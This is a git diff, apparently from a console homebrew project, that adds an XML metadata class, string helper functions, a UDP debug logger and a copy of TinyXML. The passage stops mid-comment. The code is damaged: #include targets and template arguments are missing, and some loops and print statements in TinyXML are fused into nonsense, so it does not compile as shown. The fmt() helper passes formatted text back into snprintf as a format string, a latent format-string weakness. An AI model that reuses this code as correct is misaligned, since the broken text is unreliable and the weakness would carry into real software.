+1,36 @@ +#ifndef ___HOMEBREWXML_H_ +#define ___HOMEBREWXML_H_ + +#include +#include + +class HomebrewXML +{ + public: + HomebrewXML() { }; + HomebrewXML(const char* filename) { LoadHomebrewXMLData(filename); }; + + bool LoadHomebrewXMLData(const char* filename); + + const char * GetName() const; + void SetName(char * newName); + const char * GetCoder() const; + const char * GetVersion() const; + void SetVersion(const char * newVer); + const char * GetReleasedate() const; + const char * GetShortDescription() const; + const char * GetLongDescription() const; + const std::vector & GetArguments() const { return Arguments; }; + void SetArgument(const char* argument); + + protected: + std::string Name; + std::string Coder; + std::string Version; + std::string Releasedate; + std::string ShortDescription; + std::string LongDescription; + std::vector Arguments; +}; + +#endif diff --git a/src/utils/StringTools.cpp b/src/utils/StringTools.cpp new file mode 100644 index 0000000..debb6c7 --- /dev/null +++ b/src/utils/StringTools.cpp @@ -0,0 +1,207 @@ +/*************************************************************************** + * Copyright (C) 2010 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + * + * for WiiXplorer 2010 + ***************************************************************************/ +#include +#include +#include +#include +#include +#include +#include +#include + +const char * fmt(const char * format, ...) +{ + static char strChar[512]; + strChar[0] = 0; + char * tmp = NULL; + + va_list va; + va_start(va, format); + if((vasprintf(&tmp, format, va) >= 0) && tmp) + { + snprintf(strChar, sizeof(strChar), tmp); + free(tmp); + va_end(va); + return (const char *) strChar; + } + va_end(va); + + if(tmp) + free(tmp); + + return NULL; +} + +const wchar_t * wfmt(const char * format, ...) +{ + static wchar_t strWChar[512]; + strWChar[0] = 0; + + if(!format) + return (const wchar_t *) strWChar; + + if(strcmp(format, "") == 0) + return (const wchar_t *) strWChar; + + char * tmp = NULL; + + va_list va; + va_start(va, format); + if((vasprintf(&tmp, format, va) >= 0) && tmp) + { + int bt; + int strlength = strlen(tmp); + bt = mbstowcs(strWChar, tmp, (strlength < 512) ? strlength : 512 ); + free(tmp); + tmp = 0; + + if(bt > 0) + { + strWChar[bt] = 0; + return (const wchar_t *) strWChar; + } + } + va_end(va); + + if(tmp) + free(tmp); + + return NULL; +} + +int strprintf(std::string &str, const char * format, ...) +{ + int result = 0; + char * tmp = NULL; + + va_list va; + va_start(va, format); + if((vasprintf(&tmp, format, va) >= 0) && tmp) + { + str = tmp; + result = str.size(); + } + va_end(va); + + if(tmp) + free(tmp); + + return result; +} + +std::string strfmt(const char * format, ...) +{ + std::string str; + char * tmp = NULL; + + va_list va; + va_start(va, format); + if((vasprintf(&tmp, format, va) >= 0) && tmp) + { + str = tmp; + } + va_end(va); + + if(tmp) + free(tmp); + + return str; +} + +bool char2wchar_t(const char * strChar, wchar_t * dest) +{ + if(!strChar || !dest) + return false; + + int bt; + bt = mbstowcs(dest, strChar, strlen(strChar)); + if (bt > 0) { + dest[bt] = 0; + return true; + } + + return false; +} + +int strtokcmp(const char * string, const char * compare, const char * separator) +{ + if(!string || !compare) + return -1; + + char TokCopy[512]; + strncpy(TokCopy, compare, sizeof(TokCopy)); + TokCopy[511] = '\0'; + + char * strTok = strtok(TokCopy, separator); + + while (strTok != NULL) + { + if (strcasecmp(string, strTok) == 0) + { + return 0; + } + strTok = strtok(NULL,separator); + } + + return -1; +} + +int strextcmp(const char * string, const char * extension, char seperator) +{ + if(!string || !extension) + return -1; + + char *ptr = strrchr(string, seperator); + if(!ptr) + return -1; + + return strcasecmp(ptr + 1, extension); +} + + +std::vector stringSplit(const std::string & inValue, const std::string & splitter) +{ + std::string value = inValue; + std::vector result; + while (true) { + unsigned int index = value.find(splitter); + if (index == std::string::npos) { + result.push_back(value); + break; + } + std::string first = value.substr(0, index); + result.push_back(first); + if (index + splitter.size() == value.length()) { + result.push_back(""); + break; + } + if(index + splitter.size() > value.length()) { + break; + } + value = value.substr(index + splitter.size(), value.length()); + } + return result; +} diff --git a/src/utils/StringTools.h b/src/utils/StringTools.h new file mode 100644 index 0000000..bcf89c4 --- /dev/null +++ b/src/utils/StringTools.h @@ -0,0 +1,78 @@ +/*************************************************************************** + * Copyright (C) 2010 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + * + * for WiiXplorer 2010 + ***************************************************************************/ +#ifndef __STRING_TOOLS_H +#define __STRING_TOOLS_H + +#include +#include +#include + +const char * fmt(const char * format, ...); +const wchar_t * wfmt(const char * format, ...); +int strprintf(std::string &str, const char * format, ...); +std::string strfmt(const char * format, ...); +bool char2wchar_t(const char * src, wchar_t * dest); +int strtokcmp(const char * string, const char * compare, const char * separator); +int strextcmp(const char * string, const char * extension, char seperator); + +inline const char * FullpathToFilename(const char *path) +{ + if(!path) return path; + + const char * ptr = path; + const char * Filename = ptr; + + while(*ptr != '\0') + { + if(ptr[0] == '/' && ptr[1] != '\0') + Filename = ptr+1; + + ++ptr; + } + + return Filename; +} + +inline void RemoveDoubleSlashs(std::string &str) +{ + u32 length = str.size(); + + //! clear path of double slashes + for(u32 i = 1; i < length; ++i) + { + if(str[i-1] == '/' && str[i] == '/') + { + str.erase(i, 1); + i--; + length--; + } + } +} + +std::vector stringSplit(const std::string & value, const std::string & splitter); + +#endif /* __STRING_TOOLS_H */ + diff --git a/src/utils/logger.c b/src/utils/logger.c new file mode 100644 index 0000000..f4795b4 --- /dev/null +++ b/src/utils/logger.c @@ -0,0 +1,89 @@ +#include +#include +#include +#include +#include +#include "common/common.h" +#include "dynamic_libs/os_functions.h" +#include "dynamic_libs/socket_functions.h" +#include "logger.h" + +#ifdef DEBUG_LOGGER +static int log_socket = -1; +static volatile int log_lock = 0; + + +void log_init(const char * ipString) +{ + log_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); + if (log_socket < 0) + return; + + struct sockaddr_in connect_addr; + memset(&connect_addr, 0, sizeof(connect_addr)); + connect_addr.sin_family = AF_INET; + connect_addr.sin_port = 4405; + inet_aton(ipString, &connect_addr.sin_addr); + + if(connect(log_socket, (struct sockaddr*)&connect_addr, sizeof(connect_addr)) < 0) + { + socketclose(log_socket); + log_socket = -1; + } +} + +void log_deinit(void) +{ + if(log_socket >= 0) + { + socketclose(log_socket); + log_socket = -1; + } +} + +void log_print(const char *str) +{ + // socket is always 0 initially as it is in the BSS + if(log_socket < 0) { + return; + } + + while(log_lock) + usleep(1000); + log_lock = 1; + + int len = strlen(str); + int ret; + while (len > 0) { + int block = len < 1400 ? len : 1400; // take max 1400 bytes per UDP packet + ret = send(log_socket, str, block, 0); + if(ret < 0) + break; + + len -= ret; + str += ret; + } + + log_lock = 0; +} + +void log_printf(const char *format, ...) +{ + if(log_socket < 0) { + return; + } + + char * tmp = NULL; + + va_list va; + va_start(va, format); + if((vasprintf(&tmp, format, va) >= 0) && tmp) + { + log_print(tmp); + } + va_end(va); + + if(tmp) + free(tmp); +} +#endif diff --git a/src/utils/logger.h b/src/utils/logger.h new file mode 100644 index 0000000..dd7cc71 --- /dev/null +++ b/src/utils/logger.h @@ -0,0 +1,26 @@ +#ifndef __LOGGER_H_ +#define __LOGGER_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#define DEBUG_LOGGER 1 + +#ifdef DEBUG_LOGGER +void log_init(const char * ip); +void log_deinit(void); +void log_print(const char *str); +void log_printf(const char *format, ...); +#else +#define log_init(x) +#define log_deinit() +#define log_print(x) +#define log_printf(x, ...) +#endif + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/src/utils/tinyxml.cpp b/src/utils/tinyxml.cpp new file mode 100644 index 0000000..cac4463 --- /dev/null +++ b/src/utils/tinyxml.cpp @@ -0,0 +1,1895 @@ +/* +www.sourceforge.net/projects/tinyxml +Original code by Lee Thomason (www.grinninglizard.com) + +This software is provided 'as-is', without any express or implied +warranty. In no event will the authors be held liable for any +damages arising from the use of this software. + +Permission is granted to anyone to use this software for any +purpose, including commercial applications, and to alter it and +redistribute it freely, subject to the following restrictions: + +1. The origin of this software must not be misrepresented; you must +not claim that you wrote the original software. If you use this +software in a product, an acknowledgment in the product documentation +would be appreciated but is not required. + +2. Altered source versions must be plainly marked as such, and +must not be misrepresented as being the original software. + +3. This notice may not be removed or altered from any source +distribution. +*/ + +#include +#include "tinyxml.h" + +#ifdef TIXML_USE_STL +#include +#include +#endif + +FILE* TiXmlFOpen( const char* filename, const char* mode ); + +bool TiXmlBase::condenseWhiteSpace = false; + +// Microsoft compiler security +FILE* TiXmlFOpen( const char* filename, const char* mode ) +{ + #if defined(_MSC_VER) && (_MSC_VER >= 1400 ) + FILE* fp = 0; + errno_t err = fopen_s( &fp, filename, mode ); + if ( !err && fp ) + return fp; + return 0; + #else + return fopen( filename, mode ); + #endif +} + +void TiXmlBase::EncodeString( const TIXML_STRING& str, TIXML_STRING* outString ) +{ + int i=0; + + while( i<(int)str.length() ) + { + unsigned char c = (unsigned char) str[i]; + + if ( c == '&' + && i < ( (int)str.length() - 2 ) + && str[i+1] == '#' + && str[i+2] == 'x' ) + { + // Hexadecimal character reference. + // Pass through unchanged. + // © -- copyright symbol, for example. + // + // The -1 is a bug fix from Rob Laveaux. It keeps + // an overflow from happening if there is no ';'. + // There are actually 2 ways to exit this loop - + // while fails (error case) and break (semicolon found). + // However, there is no mechanism (currently) for + // this function to return an error. + while ( i<(int)str.length()-1 ) + { + outString->append( str.c_str() + i, 1 ); + ++i; + if ( str[i] == ';' ) + break; + } + } + else if ( c == '&' ) + { + outString->append( entity[0].str, entity[0].strLength ); + ++i; + } + else if ( c == '<' ) + { + outString->append( entity[1].str, entity[1].strLength ); + ++i; + } + else if ( c == '>' ) + { + outString->append( entity[2].str, entity[2].strLength ); + ++i; + } + else if ( c == '\"' ) + { + outString->append( entity[3].str, entity[3].strLength ); + ++i; + } + else if ( c == '\'' ) + { + outString->append( entity[4].str, entity[4].strLength ); + ++i; + } + else if ( c < 32 && c != '\n' && c != '\r' ) + { + // Easy pass at non-alpha/numeric/symbol + // Below 32 is symbolic. + char buf[ 32 ]; + + #if defined(TIXML_SNPRINTF) + TIXML_SNPRINTF( buf, sizeof(buf), "&#x%02X;", (unsigned) ( c & 0xff ) ); + #else + sprintf( buf, "&#x%02X;", (unsigned) ( c & 0xff ) ); + #endif + + //*ME: warning C4267: convert 'size_t' to 'int' + //*ME: Int-Cast to make compiler happy ... + outString->append( buf, (int)strlen( buf ) ); + ++i; + } + else + { + //char realc = (char) c; + //outString->append( &realc, 1 ); + *outString += (char) c; // somewhat more efficient function call. + ++i; + } + } +} + + +TiXmlNode::TiXmlNode( NodeType _type ) : TiXmlBase() +{ + parent = 0; + type = _type; + firstChild = 0; + lastChild = 0; + prev = 0; + next = 0; +} + + +TiXmlNode::~TiXmlNode() +{ + TiXmlNode* node = firstChild; + TiXmlNode* temp = 0; + + while ( node ) + { + temp = node; + node = node->next; + delete temp; + } +} + + +void TiXmlNode::CopyTo( TiXmlNode* target ) const +{ + target->SetValue (value.c_str() ); + target->userData = userData; + target->location = location; +} + + +void TiXmlNode::Clear() +{ + TiXmlNode* node = firstChild; + TiXmlNode* temp = 0; + + while ( node ) + { + temp = node; + node = node->next; + delete temp; + } + + firstChild = 0; + lastChild = 0; +} + + +TiXmlNode* TiXmlNode::LinkEndChild( TiXmlNode* node ) +{ + assert( node->parent == 0 || node->parent == this ); + assert( node->GetDocument() == 0 || node->GetDocument() == this->GetDocument() ); + + if ( node->Type() == TiXmlNode::TINYXML_DOCUMENT ) + { + delete node; + if ( GetDocument() ) + GetDocument()->SetError( TIXML_ERROR_DOCUMENT_TOP_ONLY, 0, 0, TIXML_ENCODING_UNKNOWN ); + return 0; + } + + node->parent = this; + + node->prev = lastChild; + node->next = 0; + + if ( lastChild ) + lastChild->next = node; + else + firstChild = node; // it was an empty list. + + lastChild = node; + return node; +} + + +TiXmlNode* TiXmlNode::InsertEndChild( const TiXmlNode& addThis ) +{ + if ( addThis.Type() == TiXmlNode::TINYXML_DOCUMENT ) + { + if ( GetDocument() ) + GetDocument()->SetError( TIXML_ERROR_DOCUMENT_TOP_ONLY, 0, 0, TIXML_ENCODING_UNKNOWN ); + return 0; + } + TiXmlNode* node = addThis.Clone(); + if ( !node ) + return 0; + + return LinkEndChild( node ); +} + + +TiXmlNode* TiXmlNode::InsertBeforeChild( TiXmlNode* beforeThis, const TiXmlNode& addThis ) +{ + if ( !beforeThis || beforeThis->parent != this ) { + return 0; + } + if ( addThis.Type() == TiXmlNode::TINYXML_DOCUMENT ) + { + if ( GetDocument() ) + GetDocument()->SetError( TIXML_ERROR_DOCUMENT_TOP_ONLY, 0, 0, TIXML_ENCODING_UNKNOWN ); + return 0; + } + + TiXmlNode* node = addThis.Clone(); + if ( !node ) + return 0; + node->parent = this; + + node->next = beforeThis; + node->prev = beforeThis->prev; + if ( beforeThis->prev ) + { + beforeThis->prev->next = node; + } + else + { + assert( firstChild == beforeThis ); + firstChild = node; + } + beforeThis->prev = node; + return node; +} + + +TiXmlNode* TiXmlNode::InsertAfterChild( TiXmlNode* afterThis, const TiXmlNode& addThis ) +{ + if ( !afterThis || afterThis->parent != this ) { + return 0; + } + if ( addThis.Type() == TiXmlNode::TINYXML_DOCUMENT ) + { + if ( GetDocument() ) + GetDocument()->SetError( TIXML_ERROR_DOCUMENT_TOP_ONLY, 0, 0, TIXML_ENCODING_UNKNOWN ); + return 0; + } + + TiXmlNode* node = addThis.Clone(); + if ( !node ) + return 0; + node->parent = this; + + node->prev = afterThis; + node->next = afterThis->next; + if ( afterThis->next ) + { + afterThis->next->prev = node; + } + else + { + assert( lastChild == afterThis ); + lastChild = node; + } + afterThis->next = node; + return node; +} + + +TiXmlNode* TiXmlNode::ReplaceChild( TiXmlNode* replaceThis, const TiXmlNode& withThis ) +{ + if ( !replaceThis ) + return 0; + + if ( replaceThis->parent != this ) + return 0; + + if ( withThis.ToDocument() ) { + // A document can never be a child. Thanks to Noam. + TiXmlDocument* document = GetDocument(); + if ( document ) + document->SetError( TIXML_ERROR_DOCUMENT_TOP_ONLY, 0, 0, TIXML_ENCODING_UNKNOWN ); + return 0; + } + + TiXmlNode* node = withThis.Clone(); + if ( !node ) + return 0; + + node->next = replaceThis->next; + node->prev = replaceThis->prev; + + if ( replaceThis->next ) + replaceThis->next->prev = node; + else + lastChild = node; + + if ( replaceThis->prev ) + replaceThis->prev->next = node; + else + firstChild = node; + + delete replaceThis; + node->parent = this; + return node; +} + + +bool TiXmlNode::RemoveChild( TiXmlNode* removeThis ) +{ + if ( !removeThis ) { + return false; + } + + if ( removeThis->parent != this ) + { + assert( 0 ); + return false; + } + + if ( removeThis->next ) + removeThis->next->prev = removeThis->prev; + else + lastChild = removeThis->prev; + + if ( removeThis->prev ) + removeThis->prev->next = removeThis->next; + else + firstChild = removeThis->next; + + delete removeThis; + return true; +} + +const TiXmlNode* TiXmlNode::FirstChild( const char * _value ) const +{ + const TiXmlNode* node; + for ( node = firstChild; node; node = node->next ) + { + if ( strcmp( node->Value(), _value ) == 0 ) + return node; + } + return 0; +} + + +const TiXmlNode* TiXmlNode::LastChild( const char * _value ) const +{ + const TiXmlNode* node; + for ( node = lastChild; node; node = node->prev ) + { + if ( strcmp( node->Value(), _value ) == 0 ) + return node; + } + return 0; +} + + +const TiXmlNode* TiXmlNode::IterateChildren( const TiXmlNode* previous ) const +{ + if ( !previous ) + { + return FirstChild(); + } + else + { + assert( previous->parent == this ); + return previous->NextSibling(); + } +} + + +const TiXmlNode* TiXmlNode::IterateChildren( const char * val, const TiXmlNode* previous ) const +{ + if ( !previous ) + { + return FirstChild( val ); + } + else + { + assert( previous->parent == this ); + return previous->NextSibling( val ); + } +} + + +const TiXmlNode* TiXmlNode::NextSibling( const char * _value ) const +{ + const TiXmlNode* node; + for ( node = next; node; node = node->next ) + { + if ( strcmp( node->Value(), _value ) == 0 ) + return node; + } + return 0; +} + + +const TiXmlNode* TiXmlNode::PreviousSibling( const char * _value ) const +{ + const TiXmlNode* node; + for ( node = prev; node; node = node->prev ) + { + if ( strcmp( node->Value(), _value ) == 0 ) + return node; + } + return 0; +} + + +void TiXmlElement::RemoveAttribute( const char * name ) +{ + #ifdef TIXML_USE_STL + TIXML_STRING str( name ); + TiXmlAttribute* node = attributeSet.Find( str ); + #else + TiXmlAttribute* node = attributeSet.Find( name ); + #endif + if ( node ) + { + attributeSet.Remove( node ); + delete node; + } +} + +const TiXmlElement* TiXmlNode::FirstChildElement() const +{ + const TiXmlNode* node; + + for ( node = FirstChild(); + node; + node = node->NextSibling() ) + { + if ( node->ToElement() ) + return node->ToElement(); + } + return 0; +} + + +const TiXmlElement* TiXmlNode::FirstChildElement( const char * _value ) const +{ + const TiXmlNode* node; + + for ( node = FirstChild( _value ); + node; + node = node->NextSibling( _value ) ) + { + if ( node->ToElement() ) + return node->ToElement(); + } + return 0; +} + + +const TiXmlElement* TiXmlNode::NextSiblingElement() const +{ + const TiXmlNode* node; + + for ( node = NextSibling(); + node; + node = node->NextSibling() ) + { + if ( node->ToElement() ) + return node->ToElement(); + } + return 0; +} + + +const TiXmlElement* TiXmlNode::NextSiblingElement( const char * _value ) const +{ + const TiXmlNode* node; + + for ( node = NextSibling( _value ); + node; + node = node->NextSibling( _value ) ) + { + if ( node->ToElement() ) + return node->ToElement(); + } + return 0; +} + + +const TiXmlDocument* TiXmlNode::GetDocument() const +{ + const TiXmlNode* node; + + for( node = this; node; node = node->parent ) + { + if ( node->ToDocument() ) + return node->ToDocument(); + } + return 0; +} + + +TiXmlElement::TiXmlElement (const char * _value) + : TiXmlNode( TiXmlNode::TINYXML_ELEMENT ) +{ + firstChild = lastChild = 0; + value = _value; +} + + +#ifdef TIXML_USE_STL +TiXmlElement::TiXmlElement( const std::string& _value ) + : TiXmlNode( TiXmlNode::TINYXML_ELEMENT ) +{ + firstChild = lastChild = 0; + value = _value; +} +#endif + + +TiXmlElement::TiXmlElement( const TiXmlElement& copy) + : TiXmlNode( TiXmlNode::TINYXML_ELEMENT ) +{ + firstChild = lastChild = 0; + copy.CopyTo( this ); +} + + +TiXmlElement& TiXmlElement::operator=( const TiXmlElement& base ) +{ + ClearThis(); + base.CopyTo( this ); + return *this; +} + + +TiXmlElement::~TiXmlElement() +{ + ClearThis(); +} + + +void TiXmlElement::ClearThis() +{ + Clear(); + while( attributeSet.First() ) + { + TiXmlAttribute* node = attributeSet.First(); + attributeSet.Remove( node ); + delete node; + } +} + + +const char* TiXmlElement::Attribute( const char* name ) const +{ + const TiXmlAttribute* node = attributeSet.Find( name ); + if ( node ) + return node->Value(); + return 0; +} + + +#ifdef TIXML_USE_STL +const std::string* TiXmlElement::Attribute( const std::string& name ) const +{ + const TiXmlAttribute* attrib = attributeSet.Find( name ); + if ( attrib ) + return &attrib->ValueStr(); + return 0; +} +#endif + + +const char* TiXmlElement::Attribute( const char* name, int* i ) const +{ + const TiXmlAttribute* attrib = attributeSet.Find( name ); + const char* result = 0; + + if ( attrib ) { + result = attrib->Value(); + if ( i ) { + attrib->QueryIntValue( i ); + } + } + return result; +} + + +#ifdef TIXML_USE_STL +const std::string* TiXmlElement::Attribute( const std::string& name, int* i ) const +{ + const TiXmlAttribute* attrib = attributeSet.Find( name ); + const std::string* result = 0; + + if ( attrib ) { + result = &attrib->ValueStr(); + if ( i ) { + attrib->QueryIntValue( i ); + } + } + return result; +} +#endif + + +const char* TiXmlElement::Attribute( const char* name, double* d ) const +{ + const TiXmlAttribute* attrib = attributeSet.Find( name ); + const char* result = 0; + + if ( attrib ) { + result = attrib->Value(); + if ( d ) { + attrib->QueryDoubleValue( d ); + } + } + return result; +} + + +#ifdef TIXML_USE_STL +const std::string* TiXmlElement::Attribute( const std::string& name, double* d ) const +{ + const TiXmlAttribute* attrib = attributeSet.Find( name ); + const std::string* result = 0; + + if ( attrib ) { + result = &attrib->ValueStr(); + if ( d ) { + attrib->QueryDoubleValue( d ); + } + } + return result; +} +#endif + + +int TiXmlElement::QueryIntAttribute( const char* name, int* ival ) const +{ + const TiXmlAttribute* attrib = attributeSet.Find( name ); + if ( !attrib ) + return TIXML_NO_ATTRIBUTE; + return attrib->QueryIntValue( ival ); +} + + +int TiXmlElement::QueryUnsignedAttribute( const char* name, unsigned* value ) const +{ + const TiXmlAttribute* node = attributeSet.Find( name ); + if ( !node ) + return TIXML_NO_ATTRIBUTE; + + int ival = 0; + int result = node->QueryIntValue( &ival ); + *value = (unsigned)ival; + return result; +} + + +int TiXmlElement::QueryBoolAttribute( const char* name, bool* bval ) const +{ + const TiXmlAttribute* node = attributeSet.Find( name ); + if ( !node ) + return TIXML_NO_ATTRIBUTE; + + int result = TIXML_WRONG_TYPE; + if ( StringEqual( node->Value(), "true", true, TIXML_ENCODING_UNKNOWN ) + || StringEqual( node->Value(), "yes", true, TIXML_ENCODING_UNKNOWN ) + || StringEqual( node->Value(), "1", true, TIXML_ENCODING_UNKNOWN ) ) + { + *bval = true; + result = TIXML_SUCCESS; + } + else if ( StringEqual( node->Value(), "false", true, TIXML_ENCODING_UNKNOWN ) + || StringEqual( node->Value(), "no", true, TIXML_ENCODING_UNKNOWN ) + || StringEqual( node->Value(), "0", true, TIXML_ENCODING_UNKNOWN ) ) + { + *bval = false; + result = TIXML_SUCCESS; + } + return result; +} + + + +#ifdef TIXML_USE_STL +int TiXmlElement::QueryIntAttribute( const std::string& name, int* ival ) const +{ + const TiXmlAttribute* attrib = attributeSet.Find( name ); + if ( !attrib ) + return TIXML_NO_ATTRIBUTE; + return attrib->QueryIntValue( ival ); +} +#endif + + +int TiXmlElement::QueryDoubleAttribute( const char* name, double* dval ) const +{ + const TiXmlAttribute* attrib = attributeSet.Find( name ); + if ( !attrib ) + return TIXML_NO_ATTRIBUTE; + return attrib->QueryDoubleValue( dval ); +} + + +#ifdef TIXML_USE_STL +int TiXmlElement::QueryDoubleAttribute( const std::string& name, double* dval ) const +{ + const TiXmlAttribute* attrib = attributeSet.Find( name ); + if ( !attrib ) + return TIXML_NO_ATTRIBUTE; + return attrib->QueryDoubleValue( dval ); +} +#endif + + +void TiXmlElement::SetAttribute( const char * name, int val ) +{ + TiXmlAttribute* attrib = attributeSet.FindOrCreate( name ); + if ( attrib ) { + attrib->SetIntValue( val ); + } +} + + +#ifdef TIXML_USE_STL +void TiXmlElement::SetAttribute( const std::string& name, int val ) +{ + TiXmlAttribute* attrib = attributeSet.FindOrCreate( name ); + if ( attrib ) { + attrib->SetIntValue( val ); + } +} +#endif + + +void TiXmlElement::SetDoubleAttribute( const char * name, double val ) +{ + TiXmlAttribute* attrib = attributeSet.FindOrCreate( name ); + if ( attrib ) { + attrib->SetDoubleValue( val ); + } +} + + +#ifdef TIXML_USE_STL +void TiXmlElement::SetDoubleAttribute( const std::string& name, double val ) +{ + TiXmlAttribute* attrib = attributeSet.FindOrCreate( name ); + if ( attrib ) { + attrib->SetDoubleValue( val ); + } +} +#endif + + +void TiXmlElement::SetAttribute( const char * cname, const char * cvalue ) +{ + TiXmlAttribute* attrib = attributeSet.FindOrCreate( cname ); + if ( attrib ) { + attrib->SetValue( cvalue ); + } +} + + +#ifdef TIXML_USE_STL +void TiXmlElement::SetAttribute( const std::string& _name, const std::string& _value ) +{ + TiXmlAttribute* attrib = attributeSet.FindOrCreate( _name ); + if ( attrib ) { + attrib->SetValue( _value ); + } +} +#endif + + +void TiXmlElement::Print( FILE* cfile, int depth ) const +{ + int i; + assert( cfile ); + for ( i=0; iNext() ) + { + fprintf( cfile, " " ); + attrib->Print( cfile, depth ); + } + + // There are 3 different formatting approaches: + // 1) An element without children is printed as a node + // 2) An element with only a text child is printed as text + // 3) An element with children is printed on multiple lines. + TiXmlNode* node; + if ( !firstChild ) + { + fprintf( cfile, " />" ); + } + else if ( firstChild == lastChild && firstChild->ToText() ) + { + fprintf( cfile, ">" ); + firstChild->Print( cfile, depth + 1 ); + fprintf( cfile, "", value.c_str() ); + } + else + { + fprintf( cfile, ">" ); + + for ( node = firstChild; node; node=node->NextSibling() ) + { + if ( !node->ToText() ) + { + fprintf( cfile, "\n" ); + } + node->Print( cfile, depth+1 ); + } + fprintf( cfile, "\n" ); + for( i=0; i", value.c_str() ); + } +} + + +void TiXmlElement::CopyTo( TiXmlElement* target ) const +{ + // superclass: + TiXmlNode::CopyTo( target ); + + // Element class: + // Clone the attributes, then clone the children. + const TiXmlAttribute* attribute = 0; + for( attribute = attributeSet.First(); + attribute; + attribute = attribute->Next() ) + { + target->SetAttribute( attribute->Name(), attribute->Value() ); + } + + TiXmlNode* node = 0; + for ( node = firstChild; node; node = node->NextSibling() ) + { + target->LinkEndChild( node->Clone() ); + } +} + +bool TiXmlElement::Accept( TiXmlVisitor* visitor ) const +{ + if ( visitor->VisitEnter( *this, attributeSet.First() ) ) + { + for ( const TiXmlNode* node=FirstChild(); node; node=node->NextSibling() ) + { + if ( !node->Accept( visitor ) ) + break; + } + } + return visitor->VisitExit( *this ); +} + + +TiXmlNode* TiXmlElement::Clone() const +{ + TiXmlElement* clone = new TIXML_NOTHROW TiXmlElement( Value() ); + if ( !clone ) + return 0; + + CopyTo( clone ); + return clone; +} + + +const char* TiXmlElement::GetText() const +{ + const TiXmlNode* child = this->FirstChild(); + if ( child ) { + const TiXmlText* childText = child->ToText(); + if ( childText ) { + return childText->Value(); + } + } + return 0; +} + + +TiXmlDocument::TiXmlDocument() : TiXmlNode( TiXmlNode::TINYXML_DOCUMENT ) +{ + tabsize = 4; + useMicrosoftBOM = false; + ClearError(); +} + +TiXmlDocument::TiXmlDocument( const char * documentName ) : TiXmlNode( TiXmlNode::TINYXML_DOCUMENT ) +{ + tabsize = 4; + useMicrosoftBOM = false; + value = documentName; + ClearError(); +} + + +#ifdef TIXML_USE_STL +TiXmlDocument::TiXmlDocument( const std::string& documentName ) : TiXmlNode( TiXmlNode::TINYXML_DOCUMENT ) +{ + tabsize = 4; + useMicrosoftBOM = false; + value = documentName; + ClearError(); +} +#endif + + +TiXmlDocument::TiXmlDocument( const TiXmlDocument& copy ) : TiXmlNode( TiXmlNode::TINYXML_DOCUMENT ) +{ + copy.CopyTo( this ); +} + + +TiXmlDocument& TiXmlDocument::operator=( const TiXmlDocument& copy ) +{ + Clear(); + copy.CopyTo( this ); + return *this; +} + + +bool TiXmlDocument::LoadFile( TiXmlEncoding encoding ) +{ + return LoadFile( Value(), encoding ); +} + + +bool TiXmlDocument::SaveFile() const +{ + return SaveFile( Value() ); +} + +bool TiXmlDocument::LoadFile( const char* _filename, TiXmlEncoding encoding ) +{ + TIXML_STRING filename( _filename ); + value = filename; + + // reading in binary mode so that tinyxml can normalize the EOL + FILE* file = TiXmlFOpen( value.c_str (), "rb" ); + + if ( file ) + { + bool result = LoadFile( file, encoding ); + fclose( file ); + return result; + } + else + { + SetError( TIXML_ERROR_OPENING_FILE, 0, 0, TIXML_ENCODING_UNKNOWN ); + return false; + } +} + +bool TiXmlDocument::LoadFile( FILE* file, TiXmlEncoding encoding ) +{ + if ( !file ) + { + SetError( TIXML_ERROR_OPENING_FILE, 0, 0, TIXML_ENCODING_UNKNOWN ); + return false; + } + + // Delete the existing data: + Clear(); + location.Clear(); + + // Get the file size, so we can pre-allocate the string. HUGE speed impact. + long length = 0; + fseek( file, 0, SEEK_END ); + length = ftell( file ); + fseek( file, 0, SEEK_SET ); + + // Strange case, but good to handle up front. + if ( length <= 0 ) + { + SetError( TIXML_ERROR_DOCUMENT_EMPTY, 0, 0, TIXML_ENCODING_UNKNOWN ); + return false; + } + + // Subtle bug here. TinyXml did use fgets. But from the XML spec: + // 2.11 End-of-Line Handling + // + // + // ...the XML processor MUST behave as if it normalized all line breaks in external + // parsed entities (including the document entity) on input, before parsing, by translating + // both the two-character sequence #xD #xA and any #xD that is not followed by #xA to + // a single #xA character. + // + // + // It is not clear fgets does that, and certainly isn't clear it works cross platform. + // Generally, you expect fgets to translate from the convention of the OS to the c/unix + // convention, and not work generally. + + /* + while( fgets( buf, sizeof(buf), file ) ) + { + data += buf; + } + */ + + char* buf = new TIXML_NOTHROW char[ length+1 ]; + if(!buf) { + SetError( TIXML_ERROR, 0, 0, TIXML_ENCODING_UNKNOWN ); + return false; + } + buf[0] = 0; + + if ( fread( buf, length, 1, file ) != 1 ) { + delete [] buf; + SetError( TIXML_ERROR_OPENING_FILE, 0, 0, TIXML_ENCODING_UNKNOWN ); + return false; + } + + // Process the buffer in place to normalize new lines. (See comment above.) + // Copies from the 'p' to 'q' pointer, where p can advance faster if + // a newline-carriage return is hit. + // + // Wikipedia: + // Systems based on ASCII or a compatible character set use either LF (Line feed, '\n', 0x0A, 10 in decimal) or + // CR (Carriage return, '\r', 0x0D, 13 in decimal) individually, or CR followed by LF (CR+LF, 0x0D 0x0A)... + // * LF: Multics, Unix and Unix-like systems (GNU/Linux, AIX, Xenix, Mac OS X, FreeBSD, etc.), BeOS, Amiga, RISC OS, and others + // * CR+LF: DEC RT-11 and most other early non-Unix, non-IBM OSes, CP/M, MP/M, DOS, OS/2, Microsoft Windows, Symbian OS + // * CR: 